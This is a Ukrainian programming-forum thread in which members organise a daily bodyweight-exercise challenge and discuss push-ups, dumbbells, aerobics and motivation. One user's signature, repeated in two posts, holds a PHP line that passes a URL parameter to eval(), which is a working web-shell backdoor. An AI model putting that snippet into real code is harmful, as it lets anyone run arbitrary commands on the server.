1

Тема: СПОРТ vs ПРЯНІК

Ну ось і настав той день коли всі охочі матимуть стимул і такий собі спортивний інтерес,дух змагань,щоб привести своє тільце до ладу! Первинні умови котрі завдяки вашим коригуванням можуть видозмінюватись,але пропоную почати з таких ось основ:
Займатись потрібно робочій тиждень і 2-ва вихідних для відпочинку організму! Наприклад стартова "ціна" це 50-т віджимань,50-т присідань, 50-т прес, 10-ть хвилин аеробіки(біг,скакалка,вело, спросто інтинсивні стрибки і т.д.) можна замість віджимань наприклад підтягуватись,або вправи на брусах робити! Робити кількість разів не обов"язково за раз! Тобто 50-т віджимань одразу! Впродовж дня можна! Хоч там 10-ть разів по 5-ть раз,чи 5-ть разів по 10-ть! І звітувати кожен день в тій темі! Пропустив день - ти ПРЯНІК! Потім в кінці тижня підбиваємо підсумок і на дошку позору викладаємо ПРЯНІКа тижня!))) Робимо початкові заміри ну там по стандарту об"єми біцаків,ніг, грудна клітина, фіксуємо вигляд живота/талії і вперед! Через місяць  повторні заміри і викладаємо хто чого досяг!
Також варто брати до уваги мету майбутнього спортсмена! Якщо це "сушка" і мета зігнати зайву вагу то варто робити програму для цієї мети,а якщо людину при зрості 180см напрягають її 60кг то варто складати програму на набір маси! Тож...Залишайте "+" хто взагалі прийматиме участь в естафеті і яка кінцева мета від займання спортом!
P.S. Цю тему мав зробити сьогодні і викласти вже свої відмітку про зроблені вправи,але...На прохання товариша був сьогодні донором,тож мій спорт почнеться лише післязавтра(в мене обидві вени продірявлені)! Виходить,що сьогодні Я ПРЯНІК. І завтра також ним буду!  *PARDON*

Подякували: Replace, bunyk, Regen, Master_Sergius, Q-bart5

2

Re: СПОРТ vs ПРЯНІК

Цікаво та корисно, + :)

Подякували: VertoX1

3

Re: СПОРТ vs ПРЯНІК

Як непрофесійно. А якщо у мене після ваших 50 віджипмань, 50 присідань і всього іншого 5 днів на тиждень щось з серцем станеться? Га? І де меню?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

4

Re: СПОРТ vs ПРЯНІК

10 хв аэробіки дуже мало (імхо), мінімум 30 хв.

x
Подякували: VertoX1

5

Re: СПОРТ vs ПРЯНІК

Як непрофесійно. А якщо у мене після ваших 50 віджипмань, 50 присідань і всього іншого 5 днів на тиждень щось з серцем станеться? Га? І де меню?

Якщо ви маєте захворювання, а якщо ви не відчуваєте їх, то скоріш за все і не маєте. Безперечно, перед початком тренувань варто проконсультуватися в кардіолога, якщо ви в групі ризику.
Але мені складно уявити, що від

Хоч там 10-ть разів по 5-ть раз,чи 5-ть разів по 10-ть!

можуть виникнути проблеми зі здоров’ям.
Я два роки тому ставив експеримент, десь за 3 місяці я пройшов шлях у від майже одного віджимання до 3х підходів по 15 і від неможливості підтягнутися до 5 разів. Але я втратив всі здобудки, коли змінив місце проживання, бо в одному місці недалеченькео парк (я спочатку соромився у парку і вночі виходив підтягуватися на дитячі качелі), а в іншому - водка, пльотка і хвабричні труби.

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

6

Re: СПОРТ vs ПРЯНІК

Але я втратив всі здобудки, коли змінив місце проживання, бо в одному місці недалеченькео парк (я спочатку соромився у парку і вночі виходив підтягуватися на дитячі качелі), а в іншому - водка, пльотка і хвабричні труби.

Ось чому доцільно мати все необхідне для фізичних вправ у себе вдома. Прокинувся — зразу встав — помахав гантелями. В принципі, можна в будь-якій незрозумілій ситуації робити фізичні вправи. Якби ще не нападав облом та інет не відволікав...

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊
Подякували: Regen1

7

Re: СПОРТ vs ПРЯНІК

Ні, вдома я віджимався (нащо вам гантелі, кои маєте власну вагу), але як недолюдки під вікном оруть щоночі і виходить з хати не хочеться, щоб ті страшні пики не бачити, то ніякого покращення настрою і приплиу енергії від фізичних вправ не світить.

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

8

Re: СПОРТ vs ПРЯНІК

нащо вам гантелі, кои маєте власну вагу

1) Гантелі універсальніші, дозволяють розкачати ті м'язи, що в віджиманні не задіяні.
2) Гантелі тягати легше. Тим, кому віджимання чи підтягування не дуже дається, перш ніж падати на підлогу й смикатись до посиніння, було б варто спершу трохи розкачати м'язи рук, прес покачати і т.д., а тоді вже братися за вправи з власною вагою. Зараз доходжу висновку, що відсутність нормальних підготовчих вправ — основна причина, чому фізкультура була для мене найважчим предметом. Жаль, що шкільні/дитсадківські фізкультурники в цьому взагалі не шарять — тільки й уміють, що ганяти дітей по нормативах...

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

9

Re: СПОРТ vs ПРЯНІК

який спорт, я і так зранку два рази в туалет іду, хватить

- Поганому трояну фаєрвол заважає
- Ніколи не програмуйте та не пийте пиво
Якщо ви з першого разу написали програму, в якій немає жодної помилки, повідомте про це системного програмісту: він виправить помилки в компіляторі

10

Re: СПОРТ vs ПРЯНІК

Я стараюсь завжди знаходити час для фізичних вправ. Хоча так виходить, що зараз значно менше займаюсь фізкультурою, але все одно поставив собі турнік (в селі), та заскакую хоча б пару раз на день. Після зими вже до 20 разів підтягування не дотягую, але думаю на початку літа дотягну.

Віджимання від полу також зараз 40 внатяжичку (в мені ~ 72 кг). Гантелей, на жаль, на цьому місці проживання не маю, а так я теж тягав їх.

За 9 років життя в Києві завжди виходив на турніки на шкільну площадку. Разів мабуть 4 змінював місце проживання, але завжди знаходив шкільну площадку через Google Maps =).

Мабуть виходити на площадку, коли десь поруч є знайомі, соромно багатьом, але лише спочатку. До вас люди потім звикають, що ви виходите й займаєтесь фізкультурою.

Подякували: VertoX1

11

Re: СПОРТ vs ПРЯНІК

Я вже не ПРЯНІК, Я вже - КОЛОБОК!!!

Нічого не можу з собою зробити. Ось моя історія (всі персонажі вигадані, будь-яке співпадіння з реальністю вважати випадковим):

Десь так до 5-6 класу (це мабуть 12-13 років) Я не міг підтягнутися жодного разу, був худенький як тріска. Відповідно, часто був об'єктом знущань сильніших однокласників, як це, мабуть, у всіх класах буває. Десь до 9 класу уже дригаючи ногами вдавалося 3 рази підтягнутися. І, нарешті, до 11 класу (17-18 років) - 5-6 разів коли як. І все. Літо, опісля якого мало починатися навчання в університеті. В новому колективі був шанс почати нове життя, був великий стимул. Ціле літо Я щодня виснажливо бігав, займався на турніках і результат був чудовий - наприкінці літа 12 разів підтягувався без дригань, міг спокійно бігти 20-25 хвилин. Також відчув у собі сили піти ще на спортивну секцію, вибрав кікбоксинг - навіть двічі приймав участь у місцевих змаганнях з якихось там змішаних єдиноборств, бо на чисто кікбоксинг і десь далі - Я боявся :)
І ось уже у віці 20-21 - Я в себе в університетській групі найвидатніший спортсмен, заліки з фізкультури ставили автоматом. Підтягувався 25-27 разів (як коли), 3 км пробігав по нормативу за 11 з чимось хвилин, стрибки в довжину з місця - 2.60 м. При рості 180 см, мав вагу до 70 кг. Короче, все пучком. А потім всьо пропало.
Можливо, сімейне життя, можливо ще щось. Але наразі при тому ж рості маю вагу 85 кг (при цьому мені вже вдалося трохи скинути), навіть 10 раз не можу підтягнутися. І взагалі, заставити себе щось робити - майже неможливо. Немає стимулу такого. Інколи погляну на своє жахливе пузо - аж страшно, але все одно навіть вдома не можу заставити себе віджатися...
От як? ЯК???

Мій блог про ОС сімейства *nix - http://nixtravelling.blogspot.com/

12

Re: СПОРТ vs ПРЯНІК

Master_Sergius написав:

От як? ЯК???

Навчаюсь вчитись, щоб навчатись.
Подякували: Master_Sergius, VertoX2

13

Re: СПОРТ vs ПРЯНІК

Q-bart дякую, але не допомогло (

Мій блог про ОС сімейства *nix - http://nixtravelling.blogspot.com/

14

Re: СПОРТ vs ПРЯНІК

Master_Sergius написав:

Q-bart дякую, але не допомогло (

Я вже на форумі писав. Але напишу ще раз.
Якщо вам не вистачає мотивації - почніть читати блог Ореста Зуба.
Прочитайте його книгу про тайм менеджмент. https://toloka.hurtom.com/viewtopic.php?t=56230
Скачайте собі його інфографіку http://openmind.com.ua/productivity80formulas/
І до речі завтра вебінар про тайм менеджмент, правда не Ореста Зуба, а іншої людини, але можете подивитися.... http://starttoday.com.ua/manage-your-ti … paign=life

Навчаюсь вчитись, щоб навчатись.
Подякували: P.Y.1

15

Re: СПОРТ vs ПРЯНІК

О, скільки всього Я вже перечитав і передивився. Але найкраще про це сказав оцей дядько - https://www.youtube.com/watch?v=FwvUnwJxIBI

Мій блог про ОС сімейства *nix - http://nixtravelling.blogspot.com/

16

Re: СПОРТ vs ПРЯНІК

Мені оце дуже подобається:


Я його дивлюся, в мене покращується настрій а потім я зарнку просинаюся і думаю "ну якого х...?! Посплю ще трохи".

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

17

Re: СПОРТ vs ПРЯНІК

Invader написав:

Як непрофесійно. А якщо у мене після ваших 50 віджипмань, 50 присідань і всього іншого 5 днів на тиждень щось з серцем станеться? Га? І де меню?
Я його дивлюся, в мене покращується настрій а потім я зарнку просинаюся і думаю "ну якого х...?! Посплю ще трохи".

Прихований текст
1. Пан 0xDADA11C7 правильно каже. Якщо є питання по здоров"ю то робіть все з розумом. Слухайте своє тіло! Якщо воно каже досить,то не треба йти на світовий рекорд у перший же день! Ну і...Тут дорослі люди,тож якщо людина знає,що їй протипоказано чи ще щось то скоріш за все вона має просто оминути цю тему та й справ то... 2. Яке вам потрібне меню? Вправ? А ви озвучили мету займань спортом? 3. Навіщо прокидатися прямо о 5-й ранку,що б зайнятись спортом? Нема часу вранці чи вдень то у вечорі можна також,було б бажання! 4. А якщо у вас такого бажання нема,а ви все одно відписались,то нагадую,що це то це тема СПОРТ проти ПРЯНІКа! І якщо ви не СПОРТ то ви...
Chemist-i написав:

10 хв аэробіки дуже мало (імхо), мінімум 30 хв.

Прихований текст
Як писав у стартовому пості то правила можуть коригуватися і сартова ціна 10-ть хвилин! Тут багато хто(от наприклад Я) давно нічого не робили. Нам і цього досить! А ви хочете,що б ми всю зиму валялись на дивані.набивали черево смачненьким і такі вскочили і гарцанули 3км за нормативами ВУЗу! Можете більше 10-ти хвилин?РЕСПЕКТ вам! Задавайте темп,а ми будемо рівнятись на вас! Ну і наприклад я планую 10-ть хвилин стрибати на кращому тренажері світу по спалюванню жиру -  СКАКАЛЦІ! Зможете на ній 30-ть хвилин?)) Гадаю,що навряд!
P.Y. написав:

Ось чому доцільно мати все необхідне для фізичних вправ у себе вдома. Прокинувся — зразу встав — помахав гантелями. В принципі, можна в будь-якій незрозумілій ситуації робити фізичні вправи. Якби ще не нападав облом та інет не відволікав...1) Гантелі універсальніші, дозволяють розкачати ті м'язи, що в віджиманні не задіяні.
2) Гантелі тягати легше. Тим, кому віджимання чи підтягування не дуже дається, перш ніж падати на підлогу й смикатись до посиніння, було б варто спершу трохи розкачати м'язи рук, прес покачати і т.д., а тоді вже братися за вправи з власною вагою. Зараз доходжу висновку, що відсутність нормальних підготовчих вправ — основна причина, чому фізкультура була для мене найважчим предметом. Жаль, що шкільні/дитсадківські фізкультурники в цьому взагалі не шарять — тільки й уміють, що ганяти дітей по нормативах...

Прихований текст
Є частка правди. Бо наприклад маючи турнік вдома чи гантелі,штангу ви не зможете сказати:"Та на дворі дощ,тож займатись не буду"! А так вперед і з піснею! 1. У віджиманнях задіяно ДУЖЕ багато м"язів,тож навіть сходу не скажу які м"язи можна задіяти гантелямі котрі не працюють при віджиманнях! Хіба,що погоджусь,що гантелями роблять конкретно ізолюючі вправи,але то вже професійним бодібілдерам треба! Нам новачкам тих віджимань з головою вистачить! 2. Гантелі різної ваги бувають,тож не завжди легше гантелями ніж віджиматися! І пам"ятайте,що віджимання це той самий жим штанги тільки навпаки. Жим це базова вправа на розвиток усіх основних м"язів! А як кажуть PRO - фігачте БАЗУ! Тож без віджимань нікуди якщо ви займаєтесь вдома/на вулиці! Важко віджиматись звичайним методом,віджимайтесь з колін. Коли тіло і м"язи зміцняться то без питань можна починати й нормальні віджимання!
0xDADA11C7 написав:

Ні, вдома я віджимався (нащо вам гантелі, кои маєте власну вагу), але як недолюдки під вікном оруть щоночі і виходить з хати не хочеться, щоб ті страшні пики не бачити, то ніякого покращення настрою і приплиу енергії від фізичних вправ не світить.

Прихований текст
Якщо чесно то ваш текст схожий на відмазку. Ще й якусь маразматичну. Я не піду займатись на турнік бо там страшні пики, не буде покращення настрою, енергія... Таке враження,що и не спортом займатись йдете,а навіть не придумаю з чим порівняти...Виходьте раніше доки не зібрались пики! Дуже заважають пройдцть на кілометр далі де також є турнік і нема пик! На крайняк то навушники вділи і вперед під музло рвать біцаки!)) І так пофіг на ті пики і т.д. І енергія буде і все інше! Зато до хати будете йти з почуттям виконаного боргу,закачаними м"язами і приємною фізичною втомою!
reverse2500 написав:

який спорт, я і так зранку два рази в туалет іду, хватить

Прихований текст
Як і у випадку з паном Invader,якщо ви не СПОРТ то ви... Ну і чесно кажучи не розумію навіщо було вам писати той свій текст. Нема бажання?Ну крокуйте собі далі! Нє...Не пошкодували ж ото часу,що б типу пожартувати! Майте совість дядько!
ktretyak написав:

Я стараюсь завжди знаходити час для фізичних вправ. Хоча так виходить, що зараз значно менше займаюсь фізкультурою, але все одно поставив собі турнік (в селі), та заскакую хоча б пару раз на день. Після зими вже до 20 разів підтягування не дотягую, але думаю на початку літа дотягну.Віджимання від полу також зараз 40 внатяжичку (в мені ~ 72 кг). Гантелей, на жаль, на цьому місці проживання не маю, а так я теж тягав їх.За 9 років життя в Києві завжди виходив на турніки на шкільну площадку. Разів мабуть 4 змінював місце проживання, але завжди знаходив шкільну площадку через Google Maps =).Мабуть виходити на площадку, коли десь поруч є знайомі, соромно багатьом, але лише спочатку. До вас люди потім звикають, що ви виходите й займаєтесь фізкультурою.

Прихований текст
Ну хіба варто тут писати якийсь текст окрім похвали? Дядько! Ви КрасавчєҐ! А саме головне вам е соромно буде за своє тіло,фізичну форму і ваші діти бачитимуть,що тато у них толковий,а не 2-ва по 50-т і пиво! Кращий приклад дітям це ви самі! Тож не залишайте спорт скільки б вам не було б років! Це здоров"я і велика користь організмові,суставам,м"язам і т.д. Але якщо ви повіджимались,а тоді в баруху на пів вечора,то краще в баруху! Бо можна нашкодити! А тільки з барухой можна також більш меньш нормально прожить!)) От ви кажете,що нема гантель...Сєтка картоплі 25кг! Поклали на плечі і присідаєте! Поклали на груди і армєйський жим вгору! Тим самим мішечком як штангою на біцачок пару разів! І АГОНЬ буде!)) Ну і плюс ваші пару разів турніка! Та навіть відро води набрали і вперед згинання на біцак! Дровиняку важку взяли і також на біцак,жим з грудей, французький на тріцак! Бачив навіть колись пацани собі на роботі зробили штангу з підручних засобів! Держак від лопати і по боках 2-ва шлакоблоки! І нормас можна підзабитись!
Master_Sergius написав:

Я вже не ПРЯНІК, Я вже - КОЛОБОК!!! Нічого не можу з собою зробити.

Прихований текст
ПРЯНІК це не типу чувак пухкенький як пончік! ПРЯНІК це простачок,нуб,тюфяк,лох,розмазня і т.д. Коротше кажучи ПРЯНІК!)) От ваш текст! Ви по суті як дівчинка! Так я хочу.але не можу бо ліньки! Хочете?Робіть! Лєньки?Навіщо було взагалі щось писати? От вам відео відповідь на це ваше Ой як же ж бути:
Подивились? А тепер згадайте ті часи коли ви після тренування йшли непереможним? Коли пацанчікі біля вас крутилися бо ви СПОРТІК ще й навалять може! Як приємно було коли йдеш після важкого тренування заморений,а на дворі вечір,всі біжать додому,а ви ледь ноги волочете і приказуєте,що ви КрасаучєҐ! Та як писав вище просто станьте прикладом власним дітям! Коли тато займається то може і мені варто спробувати? Візьміть себе в руки і приведіть до ладу! Ви ніколи не знаєте,що буде завтра! Можливо ті підтягування котрі ви тренували останній місяць врятують вам життя! Ну і ви ж були спортсменом! Виступали на змаганнях.били людей! Не соромно тепер бути ПРЯНІКом?

Моя мета:

Прихований текст
Отже почну з себе. Маю в розслабленому стані пузо(як втягую живіт і напрягаю прес то зника майже повністю). Маю на ньому трохи жирку,маю жирок на боках і трохи на цицьках. Я хочу зігнати жир і підкачати м"язів. Тож перший місяць тренувань я хочу присвятити виконанню програм на рельєф тіла. Багато кардіо, віджимання 4-ри підходи до максимуму і т.д. Раджу вам завантажити на Відроід прогу наз. GymTraining там класно багато чого розписано! Можете завантажувати аналоги,але їх не бачив,раджу чим користуюсь. Саме з цього додатку беру програму на рельєф. Окрім згону жиру хочу приготувати сустави,м"язи,зв"язки до роботи з гантелями,штангою,гірєй! Бо з дуру можна й х*й зламать.тож підготовка важлива. Минулого літа себе трохи пошкодив коли гнався за результатами і плював на техніку і правила безпеки! Маю мрію ідіота як то кажуть! Завши хотів собі накачану шию! От волочіт мене ця двіжуха! Тож приділятиму час цим вправам! Також важливим аспектом є мої худенькі ніжки...Виправлятиму присіданнями,а після укріплення буду брати вагу і звітувати тут. І ще не забувайте дуже важливу приказку! Хочеш великі руки - качай ноги! Читайте в гуглі як це пов"язано і чому! Далі мене цікавлять передпліччя,тож вправи будуть на них! Ну і не треба забувати,що всі намагаються рвать біцачок,але самий великий м"яз руки і складова більшої частини руки це тріцак! Тож...Великий акцент на тріцак також в планах! Ну і хочу зламать свій дибільний організм. Минулого літа коли займався то без питань робив 10х10 на брусах, 10х10 віджимання, на ліву руку кидав 20-30 разів гірю 16кг,стільки ж на праву,що б одна не була сильніша за іншу! А от блін підтягуватись взагалі не вмію. 2-ва рази і все - гайка! Тож мета до початку літа спробувати вийти на 7-10 разів підтягувань до початку літа! Прес! Тут мабуть буду тренувати таким гаком,що прес це той самий м"яз.А м"яз росте коли працюєш підходами з невеликими вагами і закачуєш кров! Тож перший місяць,два працюватиму 4-ри підходи по 20-ть разів з власною вагою,тоді з блином,тоді з гантелею і по наростаючій! А потім вже піду на зміцнення і на максимальні повтори!

P.S. Пан Replace, тоді пан bunyk і пан quez висловлювали зацікавленість у цій темі! А от про результати своїх вправ сьогоднішніх не пишуть! То якщо нема опису вправ де зізнання?
Я ПРЯНІК! Сьогодні також не працював! Завтра виправлятиму ситуацію!

18

Re: СПОРТ vs ПРЯНІК

Тихо-тихо, до дванадцятої ще вагон часу. Я от сиджу і потрохи роблю.

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ

19

Re: СПОРТ vs ПРЯНІК

quez написав:

Тихо-тихо, до дванадцятої ще вагон часу. Я от сиджу і потрохи роблю.

Питань нема!  *THUMBSUP*

20

Re: СПОРТ vs ПРЯНІК

Ну шо там,вже підкачали рами ?

Прихований текст
Всім по пряніку.
=)